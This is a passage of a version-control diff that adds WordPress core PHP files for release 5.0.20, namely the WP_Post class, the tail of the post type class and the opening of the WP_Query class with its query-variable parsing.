+				if ( false !== strpos( $query, "index.php?post_type=$this->name" ) ) {
+					unset( $wp_rewrite->extra_rules_top[ $regex ] );
+				}
+			}
+		}
+
+		// Remove registered custom meta capabilities.
+		foreach ( $this->cap as $cap ) {
+			unset( $post_type_meta_caps[ $cap ] );
+		}
+	}
+
+	/**
+	 * Unregisters the post type meta box if a custom callback was specified.
+	 *
+	 * @since 4.6.0
+	 */
+	public function unregister_meta_boxes() {
+		if ( $this->register_meta_box_cb ) {
+			remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 );
+		}
+	}
+
+	/**
+	 * Removes the post type from all taxonomies.
+	 *
+	 * @since 4.6.0
+	 */
+	public function unregister_taxonomies() {
+		foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) {
+			unregister_taxonomy_for_object_type( $taxonomy, $this->name );
+		}
+	}
+
+	/**
+	 * Removes the future post hook action for the post type.
+	 *
+	 * @since 4.6.0
+	 */
+	public function remove_hooks() {
+		remove_action( 'future_' . $this->name, '_future_post_hook', 5 );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-post.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-post.php	(revision 56912)
@@ -0,0 +1,374 @@
+<?php
+/**
+ * Post API: WP_Post class
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the WP_Post object.
+ *
+ * @since 3.5.0
+ *
+ * @property string $page_template
+ *
+ * @property-read array  $ancestors
+ * @property-read int    $post_category
+ * @property-read string $tag_input
+ *
+ */
+final class WP_Post {
+
+	/**
+	 * Post ID.
+	 *
+	 * @since 3.5.0
+	 * @var int
+	 */
+	public $ID;
+
+	/**
+	 * ID of post author.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_author = 0;
+
+	/**
+	 * The post's local publication time.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_date = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's GMT publication time.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_date_gmt = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's content.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_content = '';
+
+	/**
+	 * The post's title.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_title = '';
+
+	/**
+	 * The post's excerpt.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_excerpt = '';
+
+	/**
+	 * The post's status.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_status = 'publish';
+
+	/**
+	 * Whether comments are allowed.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $comment_status = 'open';
+
+	/**
+	 * Whether pings are allowed.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $ping_status = 'open';
+
+	/**
+	 * The post's password in plain text.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_password = '';
+
+	/**
+	 * The post's slug.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_name = '';
+
+	/**
+	 * URLs queued to be pinged.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $to_ping = '';
+
+	/**
+	 * URLs that have been pinged.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $pinged = '';
+
+	/**
+	 * The post's local modified time.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_modified = '0000-00-00 00:00:00';
+
+	/**
+	 * The post's GMT modified time.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_modified_gmt = '0000-00-00 00:00:00';
+
+	/**
+	 * A utility DB field for post content.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_content_filtered = '';
+
+	/**
+	 * ID of a post's parent post.
+	 *
+	 * @since 3.5.0
+	 * @var int
+	 */
+	public $post_parent = 0;
+
+	/**
+	 * The unique identifier for a post, not necessarily a URL, used as the feed GUID.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $guid = '';
+
+	/**
+	 * A field used for ordering posts.
+	 *
+	 * @since 3.5.0
+	 * @var int
+	 */
+	public $menu_order = 0;
+
+	/**
+	 * The post's type, like post or page.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_type = 'post';
+
+	/**
+	 * An attachment's mime type.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $post_mime_type = '';
+
+	/**
+	 * Cached comment count.
+	 *
+	 * A numeric string, for compatibility reasons.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $comment_count = 0;
+
+	/**
+	 * Stores the post object's sanitization level.
+	 *
+	 * Does not correspond to a DB field.
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	public $filter;
+
+	/**
+	 * Retrieve WP_Post instance.
+	 *
+	 * @since 3.5.0
+	 * @static
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $post_id Post ID.
+	 * @return WP_Post|false Post object, false otherwise.
+	 */
+	public static function get_instance( $post_id ) {
+		global $wpdb;
+
+		$post_id = (int) $post_id;
+		if ( ! $post_id ) {
+			return false;
+		}
+
+		$_post = wp_cache_get( $post_id, 'posts' );
+
+		if ( ! $_post ) {
+			$_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) );
+
+			if ( ! $_post )
+				return false;
+
+			$_post = sanitize_post( $_post, 'raw' );
+			wp_cache_add( $_post->ID, $_post, 'posts' );
+		} elseif ( empty( $_post->filter ) ) {
+			$_post = sanitize_post( $_post, 'raw' );
+		}
+
+		return new WP_Post( $_post );
+	}
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param WP_Post|object $post Post object.
+	 */
+	public function __construct( $post ) {
+		foreach ( get_object_vars( $post ) as $key => $value )
+			$this->$key = $value;
+	}
+
+	/**
+	 * Isset-er.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $key Property to check if set.
+	 * @return bool
+	 */
+	public function __isset( $key ) {
+		if ( 'ancestors' == $key )
+			return true;
+
+		if ( 'page_template' == $key )
+			return true;
+
+		if ( 'post_category' == $key )
+		   return true;
+
+		if ( 'tags_input' == $key )
+		   return true;
+
+		return metadata_exists( 'post', $this->ID, $key );
+	}
+
+	/**
+	 * Getter.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $key Key to get.
+	 * @return mixed
+	 */
+	public function __get( $key ) {
+		if ( 'page_template' == $key && $this->__isset( $key ) ) {
+			return get_post_meta( $this->ID, '_wp_page_template', true );
+		}
+
+		if ( 'post_category' == $key ) {
+			if ( is_object_in_taxonomy( $this->post_type, 'category' ) )
+				$terms = get_the_terms( $this, 'category' );
+
+			if ( empty( $terms ) )
+				return array();
+
+			return wp_list_pluck( $terms, 'term_id' );
+		}
+
+		if ( 'tags_input' == $key ) {
+			if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) )
+				$terms = get_the_terms( $this, 'post_tag' );
+
+			if ( empty( $terms ) )
+				return array();
+
+			return wp_list_pluck( $terms, 'name' );
+		}
+
+		// Rest of the values need filtering.
+		if ( 'ancestors' == $key )
+			$value = get_post_ancestors( $this );
+		else
+			$value = get_post_meta( $this->ID, $key, true );
+
+		if ( $this->filter )
+			$value = sanitize_post_field( $key, $value, $this->ID, $this->filter );
+
+		return $value;
+	}
+
+	/**
+	 * {@Missing Summary}
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $filter Filter.
+	 * @return self|array|bool|object|WP_Post
+	 */
+	public function filter( $filter ) {
+		if ( $this->filter == $filter )
+			return $this;
+
+		if ( $filter == 'raw' )
+			return self::get_instance( $this->ID );
+
+		return sanitize_post( $this, $filter );
+	}
+
+	/**
+	 * Convert object to array.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return array Object as array.
+	 */
+	public function to_array() {
+		$post = get_object_vars( $this );
+
+		foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) {
+			if ( $this->__isset( $key ) )
+				$post[ $key ] = $this->__get( $key );
+		}
+
+		return $post;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-query.php	(revision 56912)
@@ -0,0 +1,4119 @@
+<?php
+/**
+ * Query API: WP_Query class
+ *
+ * @package WordPress
+ * @subpackage Query
+ * @since 4.7.0
+ */
+
+/**
+ * The WordPress Query class.
+ *
+ * @link https://codex.wordpress.org/Function_Reference/WP_Query Codex page.
+ *
+ * @since 1.5.0
+ * @since 4.5.0 Removed the `$comments_popup` property.
+ */
+class WP_Query {
+
+	/**
+	 * Query vars set by the user
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	public $query;
+
+	/**
+	 * Query vars, after parsing
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	public $query_vars = array();
+
+	/**
+	 * Taxonomy query, as passed to get_tax_sql()
+	 *
+	 * @since 3.1.0
+	 * @var object WP_Tax_Query
+	 */
+	public $tax_query;
+
+	/**
+	 * Metadata query container
+	 *
+	 * @since 3.2.0
+	 * @var object WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * Date query container
+	 *
+	 * @since 3.7.0
+	 * @var object WP_Date_Query
+	 */
+	public $date_query = false;
+
+	/**
+	 * Holds the data for a single object that is queried.
+	 *
+	 * Holds the contents of a post, page, category, attachment.
+	 *
+	 * @since 1.5.0
+	 * @var object|array
+	 */
+	public $queried_object;
+
+	/**
+	 * The ID of the queried object.
+	 *
+	 * @since 1.5.0
+	 * @var int
+	 */
+	public $queried_object_id;
+
+	/**
+	 * Get post database query.
+	 *
+	 * @since 2.0.1
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * List of posts.
+	 *
+	 * @since 1.5.0
+	 * @var array
+	 */
+	public $posts;
+
+	/**
+	 * The amount of posts for the current query.
+	 *
+	 * @since 1.5.0
+	 * @var int
+	 */
+	public $post_count = 0;
+
+	/**
+	 * Index of the current item in the loop.
+	 *
+	 * @since 1.5.0
+	 * @var int
+	 */
+	public $current_post = -1;
+
+	/**
+	 * Whether the loop has started and the caller is in the loop.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	public $in_the_loop = false;
+
+	/**
+	 * The current post.
+	 *
+	 * @since 1.5.0
+	 * @var WP_Post
+	 */
+	public $post;
+
+	/**
+	 * The list of comments for current post.
+	 *
+	 * @since 2.2.0
+	 * @var array
+	 */
+	public $comments;
+
+	/**
+	 * The amount of comments for the posts.
+	 *
+	 * @since 2.2.0
+	 * @var int
+	 */
+	public $comment_count = 0;
+
+	/**
+	 * The index of the comment in the comment loop.
+	 *
+	 * @since 2.2.0
+	 * @var int
+	 */
+	public $current_comment = -1;
+
+	/**
+	 * Current comment ID.
+	 *
+	 * @since 2.2.0
+	 * @var int
+	 */
+	public $comment;
+
+	/**
+	 * The amount of found posts for the current query.
+	 *
+	 * If limit clause was not used, equals $post_count.
+	 *
+	 * @since 2.1.0
+	 * @var int
+	 */
+	public $found_posts = 0;
+
+	/**
+	 * The amount of pages.
+	 *
+	 * @since 2.1.0
+	 * @var int
+	 */
+	public $max_num_pages = 0;
+
+	/**
+	 * The amount of comment pages.
+	 *
+	 * @since 2.7.0
+	 * @var int
+	 */
+	public $max_num_comment_pages = 0;
+
+	/**
+	 * Signifies whether the current query is for a single post.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_single = false;
+
+	/**
+	 * Signifies whether the current query is for a preview.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	public $is_preview = false;
+
+	/**
+	 * Signifies whether the current query is for a page.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_page = false;
+
+	/**
+	 * Signifies whether the current query is for an archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_archive = false;
+
+	/**
+	 * Signifies whether the current query is for a date archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_date = false;
+
+	/**
+	 * Signifies whether the current query is for a year archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_year = false;
+
+	/**
+	 * Signifies whether the current query is for a month archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_month = false;
+
+	/**
+	 * Signifies whether the current query is for a day archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_day = false;
+
+	/**
+	 * Signifies whether the current query is for a specific time.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_time = false;
+
+	/**
+	 * Signifies whether the current query is for an author archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_author = false;
+
+	/**
+	 * Signifies whether the current query is for a category archive.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_category = false;
+
+	/**
+	 * Signifies whether the current query is for a tag archive.
+	 *
+	 * @since 2.3.0
+	 * @var bool
+	 */
+	public $is_tag = false;
+
+	/**
+	 * Signifies whether the current query is for a taxonomy archive.
+	 *
+	 * @since 2.5.0
+	 * @var bool
+	 */
+	public $is_tax = false;
+
+	/**
+	 * Signifies whether the current query is for a search.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_search = false;
+
+	/**
+	 * Signifies whether the current query is for a feed.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_feed = false;
+
+	/**
+	 * Signifies whether the current query is for a comment feed.
+	 *
+	 * @since 2.2.0
+	 * @var bool
+	 */
+	public $is_comment_feed = false;
+
+	/**
+	 * Signifies whether the current query is for trackback endpoint call.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_trackback = false;
+
+	/**
+	 * Signifies whether the current query is for the site homepage.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_home = false;
+
+	/**
+	 * Signifies whether the current query couldn't find anything.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_404 = false;
+
+	/**
+	 * Signifies whether the current query is for an embed.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	public $is_embed = false;
+
+	/**
+	 * Signifies whether the current query is for a paged result and not for the first page.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_paged = false;
+
+	/**
+	 * Signifies whether the current query is for an administrative interface page.
+	 *
+	 * @since 1.5.0
+	 * @var bool
+	 */
+	public $is_admin = false;
+
+	/**
+	 * Signifies whether the current query is for an attachment page.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	public $is_attachment = false;
+
+	/**
+	 * Signifies whether the current query is for an existing single post of any post type
+	 * (post, attachment, page, custom post types).
+	 *
+	 * @since 2.1.0
+	 * @var bool
+	 */
+	public $is_singular = false;
+
+	/**
+	 * Signifies whether the current query is for the robots.txt file.
+	 *
+	 * @since 2.1.0
+	 * @var bool
+	 */
+	public $is_robots = false;
+
+	/**
+	 * Signifies whether the current query is for the page_for_posts page.
+	 *
+	 * Basically, the homepage if the option isn't set for the static homepage.
+	 *
+	 * @since 2.1.0
+	 * @var bool
+	 */
+	public $is_posts_page = false;
+
+	/**
+	 * Signifies whether the current query is for a post type archive.
+	 *
+	 * @since 3.1.0
+	 * @var bool
+	 */
+	public $is_post_type_archive = false;
+
+	/**
+	 * Stores the ->query_vars state like md5(serialize( $this->query_vars ) ) so we know
+	 * whether we have to re-parse because something has changed
+	 *
+	 * @since 3.1.0
+	 * @var bool|string
+	 */
+	private $query_vars_hash = false;
+
+	/**
+	 * Whether query vars have changed since the initial parse_query() call. Used to catch modifications to query vars made
+	 * via pre_get_posts hooks.
+	 *
+	 * @since 3.1.1
+	 */
+	private $query_vars_changed = true;
+
+	/**
+	 * Set if post thumbnails are cached
+	 *
+	 * @since 3.2.0
+	 * @var bool
+	 */
+	 public $thumbnails_cached = false;
+
+	/**
+	 * Cached list of search stopwords.
+	 *
+	 * @since 3.7.0
+	 * @var array
+	 */
+	private $stopwords;
+
+	private $compat_fields = array( 'query_vars_hash', 'query_vars_changed' );
+
+	private $compat_methods = array( 'init_query_flags', 'parse_tax_query' );
+
+	/**
+	 * Controls whether an attachment query should include filenames or not.
+	 *
+	 * @since 6.0.3
+	 * @var bool
+	 */
+	protected $allow_query_attachment_by_filename = false;
+	/**
+	 * Resets query flags to false.
+	 *
+	 * The query flags are what page info WordPress was able to figure out.
+	 *
+	 * @since 2.0.0
+	 */
+	private function init_query_flags() {
+		$this->is_single = false;
+		$this->is_preview = false;
+		$this->is_page = false;
+		$this->is_archive = false;
+		$this->is_date = false;
+		$this->is_year = false;
+		$this->is_month = false;
+		$this->is_day = false;
+		$this->is_time = false;
+		$this->is_author = false;
+		$this->is_category = false;
+		$this->is_tag = false;
+		$this->is_tax = false;
+		$this->is_search = false;
+		$this->is_feed = false;
+		$this->is_comment_feed = false;
+		$this->is_trackback = false;
+		$this->is_home = false;
+		$this->is_404 = false;
+		$this->is_paged = false;
+		$this->is_admin = false;
+		$this->is_attachment = false;
+		$this->is_singular = false;
+		$this->is_robots = false;
+		$this->is_posts_page = false;
+		$this->is_post_type_archive = false;
+	}
+
+	/**
+	 * Initiates object properties and sets default values.
+	 *
+	 * @since 1.5.0
+	 */
+	public function init() {
+		unset($this->posts);
+		unset($this->query);
+		$this->query_vars = array();
+		unset($this->queried_object);
+		unset($this->queried_object_id);
+		$this->post_count = 0;
+		$this->current_post = -1;
+		$this->in_the_loop = false;
+		unset( $this->request );
+		unset( $this->post );
+		unset( $this->comments );
+		unset( $this->comment );
+		$this->comment_count = 0;
+		$this->current_comment = -1;
+		$this->found_posts = 0;
+		$this->max_num_pages = 0;
+		$this->max_num_comment_pages = 0;
+
+		$this->init_query_flags();
+	}
+
+	/**
+	 * Reparse the query vars.
+	 *
+	 * @since 1.5.0
+	 */
+	public function parse_query_vars() {
+		$this->parse_query();
+	}
+
+	/**
+	 * Fills in the query variables, which do not exist within the parameter.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 Removed the `comments_popup` public query variable.
+	 *
+	 * @param array $array Defined query variables.
+	 * @return array Complete query variables with undefined ones filled in empty.
+	 */
+	public function fill_query_vars($array) {
+		$keys = array(
+			'error'
+			, 'm'
+			, 'p'
+			, 'post_parent'
+			, 'subpost'
+			, 'subpost_id'
+			, 'attachment'
+			, 'attachment_id'
+			, 'name'
+			, 'pagename'
+			, 'page_id'
+			, 'second'
+			, 'minute'
+			, 'hour'
+			, 'day'
+			, 'monthnum'
+			, 'year'
+			, 'w'
+			, 'category_name'
+			, 'tag'
+			, 'cat'
+			, 'tag_id'
+			, 'author'
+			, 'author_name'
+			, 'feed'
+			, 'tb'
+			, 'paged'
+			, 'meta_key'
+			, 'meta_value'
+			, 'preview'
+			, 's'
+			, 'sentence'
+			, 'title'
+			, 'fields'
+			, 'menu_order'
+			, 'embed'
+		);
+
+		foreach ( $keys as $key ) {
+			if ( !isset($array[$key]) )
+				$array[$key] = '';
+		}
+
+		$array_keys = array( 'category__in', 'category__not_in', 'category__and', 'post__in', 'post__not_in', 'post_name__in',
+			'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'post_parent__in', 'post_parent__not_in',
+			'author__in', 'author__not_in' );
+
+		foreach ( $array_keys as $key ) {
+			if ( !isset($array[$key]) )
+				$array[$key] = array();
+		}
+		return $array;
+	}
+
+	/**
+	 * Parse a query string and set query type booleans.
+	 *
+	 * @since 1.5.0
+	 * @since 4.2.0 Introduced the ability to order by specific clauses of a `$meta_query`, by passing the clause's
+	 *              array key to `$orderby`.
+	 * @since 4.4.0 Introduced `$post_name__in` and `$title` parameters. `$s` was updated to support excluded
+	 *              search terms, by prepending a hyphen.
+	 * @since 4.5.0 Removed the `$comments_popup` parameter.
+	 *              Introduced the `$comment_status` and `$ping_status` parameters.
+	 *              Introduced `RAND(x)` syntax for `$orderby`, which allows an integer seed value to random sorts.
+	 * @since 4.6.0 Added 'post_name__in' support for `$orderby`. Introduced the `$lazy_load_term_meta` argument.
+	 * @since 4.9.0 Introduced the `$comment_count` parameter.
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or string of Query parameters.
+	 *
+	 *     @type int          $attachment_id           Attachment post ID. Used for 'attachment' post_type.
+	 *     @type int|string   $author                  Author ID, or comma-separated list of IDs.
+	 *     @type string       $author_name             User 'user_nicename'.
+	 *     @type array        $author__in              An array of author IDs to query from.
+	 *     @type array        $author__not_in          An array of author IDs not to query from.
+	 *     @type bool         $cache_results           Whether to cache post information. Default true.
+	 *     @type int|string   $cat                     Category ID or comma-separated list of IDs (this or any children).
+	 *     @type array        $category__and           An array of category IDs (AND in).
+	 *     @type array        $category__in            An array of category IDs (OR in, no children).
+	 *     @type array        $category__not_in        An array of category IDs (NOT in).
+	 *     @type string       $category_name           Use category slug (not name, this or any children).
+	 *     @type array|int    $comment_count           Filter results by comment count. Provide an integer to match
+	 *                                                 comment count exactly. Provide an array with integer 'value'
+	 *                                                 and 'compare' operator ('=', '!=', '>', '>=', '<', '<=' ) to
+	 *                                                 compare against comment_count in a specific way.
+	 *     @type string       $comment_status          Comment status.
+	 *     @type int          $comments_per_page       The number of comments to return per page.
+	 *                                                 Default 'comments_per_page' option.
+	 *     @type array        $date_query              An associative array of WP_Date_Query arguments.
+	 *                                                 See WP_Date_Query::__construct().
+	 *     @type int          $day                     Day of the month. Default empty. Accepts numbers 1-31.
+	 *     @type bool         $exact                   Whether to search by exact keyword. Default false.
+	 *     @type string|array $fields                  Which fields to return. Single field or all fields (string),
+	 *                                                 or array of fields. 'id=>parent' uses 'id' and 'post_parent'.
+	 *                                                 Default all fields. Accepts 'ids', 'id=>parent'.
+	 *     @type int          $hour                    Hour of the day. Default empty. Accepts numbers 0-23.
+	 *     @type int|bool     $ignore_sticky_posts     Whether to ignore sticky posts or not. Setting this to false
+	 *                                                 excludes stickies from 'post__in'. Accepts 1|true, 0|false.
+	 *                                                 Default 0|false.
+	 *     @type int          $m                       Combination YearMonth. Accepts any four-digit year and month
+	 *                                                 numbers 1-12. Default empty.
+	 *     @type string       $meta_compare            Comparison operator to test the 'meta_value'.
+	 *     @type string       $meta_key                Custom field key.
+	 *     @type array        $meta_query              An associative array of WP_Meta_Query arguments. See WP_Meta_Query.
+	 *     @type string       $meta_value              Custom field value.
+	 *     @type int          $meta_value_num          Custom field value number.
+	 *     @type int          $menu_order              The menu order of the posts.
+	 *     @type int          $monthnum                The two-digit month. Default empty. Accepts numbers 1-12.
+	 *     @type string       $name                    Post slug.
+	 *     @type bool         $nopaging                Show all posts (true) or paginate (false). Default false.
+	 *     @type bool         $no_found_rows           Whether to skip counting the total rows found. Enabling can improve
+	 *                                                 performance. Default false.
+	 *     @type int          $offset                  The number of posts to offset before retrieval.
+	 *     @type string       $order                   Designates ascending or descending order of posts. Default 'DESC'.
+	 *                                                 Accepts 'ASC', 'DESC'.
+	 *     @type string|array $orderby                 Sort retrieved posts by parameter. One or more options may be
+	 *                                                 passed. To use 'meta_value', or 'meta_value_num',
+	 *                                                 'meta_key=keyname' must be also be defined. To sort by a
+	 *                                                 specific `$meta_query` clause, use that clause's array key.
+	 *                                                 Accepts 'none', 'name', 'author', 'date', 'title',
+	 *                                                 'modified', 'menu_order', 'parent', 'ID', 'rand',
+	 *                                                 'relevance', 'RAND(x)' (where 'x' is an integer seed value),
+	 *                                                 'comment_count', 'meta_value', 'meta_value_num', 'post__in',
+	 *                                                 'post_name__in', 'post_parent__in', and the array keys
+	 *                                                 of `$meta_query`. Default is 'date', except when a search
+	 *                                                 is being performed, when the default is 'relevance'.
+	 *
+	 *     @type int          $p                       Post ID.
+	 *     @type int          $page                    Show the number of posts that would show up on page X of a
+	 *                                                 static front page.
+	 *     @type int          $paged                   The number of the current page.
+	 *     @type int          $page_id                 Page ID.
+	 *     @type string       $pagename                Page slug.
+	 *     @type string       $perm                    Show posts if user has the appropriate capability.
+	 *     @type string       $ping_status             Ping status.
+	 *     @type array        $post__in                An array of post IDs to retrieve, sticky posts will be included
+	 *     @type string       $post_mime_type          The mime type of the post. Used for 'attachment' post_type.
+	 *     @type array        $post__not_in            An array of post IDs not to retrieve. Note: a string of comma-
+	 *                                                 separated IDs will NOT work.
+	 *     @type int          $post_parent             Page ID to retrieve child pages for. Use 0 to only retrieve
+	 *                                                 top-level pages.
+	 *     @type array        $post_parent__in         An array containing parent page IDs to query child pages from.
+	 *     @type array        $post_parent__not_in     An array containing parent page IDs not to query child pages from.
+	 *     @type string|array $post_type               A post type slug (string) or array of post type slugs.
+	 *                                                 Default 'any' if using 'tax_query'.
+	 *     @type string|array $post_status             A post status (string) or array of post statuses.
+	 *     @type int          $posts_per_page          The number of posts to query for. Use -1 to request all posts.
+	 *     @type int          $posts_per_archive_page  The number of posts to query for by archive page. Overrides
+	 *                                                 'posts_per_page' when is_archive(), or is_search() are true.
+	 *     @type array        $post_name__in           An array of post slugs that results must match.
+	 *     @type string       $s                       Search keyword(s). Prepending a term with a hyphen will
+	 *                                                 exclude posts matching that term. Eg, 'pillow -sofa' will
+	 *                                                 return posts containing 'pillow' but not 'sofa'. The
+	 *                                                 character used for exclusion can be modified using the
+	 *                                                 the 'wp_query_search_exclusion_prefix' filter.
+	 *     @type int          $second                  Second of the minute. Default empty. Accepts numbers 0-60.
+	 *     @type bool         $sentence                Whether to search by phrase. Default false.
+	 *     @type bool         $suppress_filters        Whether to suppress filters. Default false.
+	 *     @type string       $tag                     Tag slug. Comma-separated (either), Plus-separated (all).
+	 *     @type array        $tag__and                An array of tag ids (AND in).
+	 *     @type array        $tag__in                 An array of tag ids (OR in).
+	 *     @type array        $tag__not_in             An array of tag ids (NOT in).
+	 *     @type int          $tag_id                  Tag id or comma-separated list of IDs.
+	 *     @type array        $tag_slug__and           An array of tag slugs (AND in).
+	 *     @type array        $tag_slug__in            An array of tag slugs (OR in). unless 'ignore_sticky_posts' is
+	 *                                                 true. Note: a string of comma-separated IDs will NOT work.
+	 *     @type array        $tax_query               An associative array of WP_Tax_Query arguments.
+	 *                                                 See WP_Tax_Query->queries.
+	 *     @type string       $title                   Post title.
+	 *     @type bool         $update_post_meta_cache  Whether to update the post meta cache. Default true.
+	 *     @type bool         $update_post_term_cache  Whether to update the post term cache. Default true.
+	 *     @type bool         $lazy_load_term_meta     Whether to lazy-load term meta. Setting to false will
+	 *                                                 disable cache priming for term meta, so that each
+	 *                                                 get_term_meta() call will hit the database.
+	 *                                                 Defaults to the value of `$update_post_term_cache`.
+	 *     @type int          $w                       The week number of the year. Default empty. Accepts numbers 0-53.
+	 *     @type int          $year                    The four-digit year. Default empty. Accepts any four-digit year.
+	 * }
+	 */
+	public function parse_query( $query =  '' ) {
+		if ( ! empty( $query ) ) {
+			$this->init();
+			$this->query = $this->query_vars = wp_parse_args( $query );
+		} elseif ( ! isset( $this->query ) ) {
+			$this->query = $this->query_vars;
+		}
+
+		$this->query_vars = $this->fill_query_vars($this->query_vars);
+		$qv = &$this->query_vars;
+		$this->query_vars_changed = true;
+
+		if ( ! empty($qv['robots']) )
+			$this->is_robots = true;
+
+		if ( ! is_scalar( $qv['p'] ) || $qv['p'] < 0 ) {
+			$qv['p'] = 0;
+			$qv['error'] = '404';
+		} else {
+			$qv['p'] = intval( $qv['p'] );
+		}
+
+		$qv['page_id'] =  absint($qv['page_id']);
+		$qv['year'] = absint($qv['year']);
+		$qv['monthnum'] = absint($qv['monthnum']);
+		$qv['day'] = absint($qv['day']);
+		$qv['w'] = absint($qv['w']);
+		$qv['m'] = is_scalar( $qv['m'] ) ? preg_replace( '|[^0-9]|', '', $qv['m'] ) : '';
+		$qv['paged'] = absint($qv['paged']);
+		$qv['cat'] = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // comma separated list of positive or negative integers
+		$qv['author'] = preg_replace( '|[^0-9,-]|', '', $qv['author'] ); // comma separated list of positive or negative integers
+		$qv['pagename'] = trim( $qv['pagename'] );
+		$qv['name'] = trim( $qv['name'] );
+		$qv['title'] = trim( $qv['title'] );
+		if ( '' !== $qv['hour'] ) $qv['hour'] = absint($qv['hour']);
+		if ( '' !== $qv['minute'] ) $qv['minute'] = absint($qv['minute']);
+		if ( '' !== $qv['second'] ) $qv['second'] = absint($qv['second']);
+		if ( '' !== $qv['menu_order'] ) $qv['menu_order'] = absint($qv['menu_order']);
+
+		// Fairly insane upper bound for search string lengths.
+		if ( ! is_scalar( $qv['s'] ) || ( ! empty( $qv['s'] ) && strlen( $qv['s'] ) > 1600 ) ) {
+			$qv['s'] = '';
+		}
+
+		// Compat. Map subpost to attachment.
+		if ( '' != $qv['subpost'] )
+			$qv['attachment'] = $qv['subpost'];
+		if ( '' != $qv['subpost_id'] )
+			$qv['attachment_id'] = $qv['subpost_id'];
+
+		$qv['attachment_id'] = absint($qv['attachment_id']);
+
+		if ( ('' != $qv['attachment']) || !empty($qv['attachment_id']) ) {
+			$this->is_single = true;
+			$this->is_attachment = true;
+		} elseif ( '' != $qv['name'] ) {
+			$this->is_single = true;
+		} elseif ( $qv['p'] ) {
+			$this->is_single = true;
+		} elseif ( '' != $qv['pagename'] || !empty($qv['page_id']) ) {
+			$this->is_page = true;
+			$this->is_single = false;
+		} else {
+			// Look for archive queries. Dates, categories, authors, search, post type archives.
+
+			if ( isset( $this->query['s'] ) ) {
+				$this->is_search = true;
